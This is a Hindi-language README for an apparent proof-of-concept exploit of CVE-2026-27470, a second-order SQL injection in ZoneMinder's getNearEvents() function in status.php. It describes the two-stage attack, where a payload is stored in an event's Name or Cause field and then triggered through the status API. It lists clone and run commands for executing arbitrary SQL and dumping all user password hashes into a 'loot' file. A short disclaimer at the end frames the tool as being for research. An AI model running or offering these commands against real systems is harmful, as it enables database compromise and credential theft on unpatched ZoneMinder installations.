
# CVE-2026-27470 के लिए Python PoC, ZoneMinder के getNearEvents() (status.php) में प्रमाणित द्वितीय-क्रम SQL इंजेक्शन, CVSS 8.8
लेखक: d3vn0mi | CVSS 8.8 | प्रमाणित | इवेंट्स अनुमति आवश्यक
CVE-2026-27470 ZoneMinder के web/ajax/status.php में एक सेकंड-ऑर्डर SQL इंजेक्शन भेद्यता है — विशेष रूप से getNearEvents() फ़ंक्शन में।
| विवरण | मान |
|---|
| प्रभावित | ZoneMinder <= 1.36.37 और 1.37.61 – 1.38.0 |
| समाधान | 1.36.38 / 1.38.1 |
| प्रकार | सेकंड-ऑर्डर SQL इंजेक्शन |
| प्रमाणीकरण आवश्यक | हाँ (इवेंट्स अनुमति वाला कोई भी उपयोगकर्ता) |
| CVSS | 8.8 (उच्च) |
यह भेद्यता एक दो-चरणीय (सेकंड-ऑर्डर) SQL इंजेक्शन है:
चरण 1 — संग्रहण: हमलावर किसी इवेंट का नाम बदलता है (या उसके Cause फ़ील्ड को संपादित करता है) ताकि उसमें SQL पेलोड शामिल हो। ZoneMinder इस लेखन के लिए पैरामीटराइज़्ड क्वेरी का उपयोग करता है, इसलिए पेलोड डेटाबेस में सुरक्षित रूप से संग्रहीत होता है — कोई WAF या फ़िल्टर इसे ब्लॉक नहीं करता।
चरण 2 — ट्रिगर: हमलावर स्टेटस API के माध्यम से nearevents इकाई का अनुरोध करता है। getNearEvents() फ़ंक्शन संग्रहीत इवेंट Name/Cause को डेटाबेस से पढ़ता है और इसे बिना सैनिटाइज़ेशन के सीधे एक नई SQL क्वेरी में जोड़ता है, जिसके परिणामस्वरूप SQL इंजेक्शन होता है।
क्योंकि इंजेक्शन वेक्टर (संग्रहीत डेटा) ट्रिगर (एक स्वच्छ GET अनुरोध) से अलग है, यह अधिकांश इनपुट-स्तरीय सुरक्षाओं को बायपास करता है।
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
क्रेडेंशियल डिफ़ॉल्ट रूप से dumped_creds.txt में सहेजे जाते हैं।
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-t, --target | लक्ष्य URL | (आवश्यक) |
-u, --username | ZoneMinder उपयोगकर्ता नाम | (आवश्यक) |
-p, --password | ZoneMinder पासवर्ड | (आवश्यक) |
--query | निष्पादित करने के लिए SQL क्वेरी | SELECT VERSION() |
--dump-users | सभी उपयोगकर्ता नाम और पासवर्ड हैश डंप करें | |
-o, --output | परिणाम फ़ाइल में सहेजें | dumped_creds.txt |
--event-id | इंजेक्शन वाहक के रूप में उपयोग करने के लिए इवेंट ID | (स्वतः-पता लगाया गया) |
--field | इंजेक्शन फ़ील्ड: Name या Cause | Name |
--no-restore | शोषण के बाद इवेंट नाम पुनर्स्थापित न करें | |
--proxy | HTTP प्रॉक्सी URL | |
--timeout | अनुरोध टाइमआउट सेकंड में | 30 |
-v, --verbose | डीबग लॉगिंग सक्षम करें |
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। इस टूल के किसी भी दुरुपयोग या क्षति के लिए लेखक ज़िम्मेदार नहीं हैं।